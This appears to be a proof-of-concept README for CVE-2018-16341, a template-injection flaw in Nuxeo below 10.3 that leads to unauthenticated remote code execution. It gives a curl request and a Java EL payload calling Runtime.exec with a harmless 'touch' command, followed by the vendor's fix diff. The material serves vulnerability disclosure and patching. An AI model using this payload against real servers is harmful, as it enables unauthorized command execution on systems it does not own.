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CVE-2018-16341

Nuxeo Authentication Bypass Remote Code Execution < 10.3 using a SSTI - CVE-2018-16341

image

Detailed analysis (not english):

Security Advisory:

Note: The version of Nuxeo 9.x is not supported anymore by Nuxeo but a hotfix has been provided for the version 9.x. On my side, the version 9.10 was vulnerable.


The vulnerability

This PoC exploit a Server Side Template Injection (SSTI) in order to achieve the RCE located in the file NuxeoUnknownResource.java

curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}

Fix

@@ -94,8 +92,13 @@ public void connect() throws IOException {
 
             @Override
             public InputStream getInputStream() throws IOException {
+                String message = "ERROR: facelet not found";
+                // NXP-25746
+                if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+                    message += " at '" + path + "'";
+                }
                 String msg = "<span><span style=\"color:red;font-weight:bold;\">"
-                        + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+                        + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
                 return new ByteArrayInputStream(msg.getBytes());
             }
         }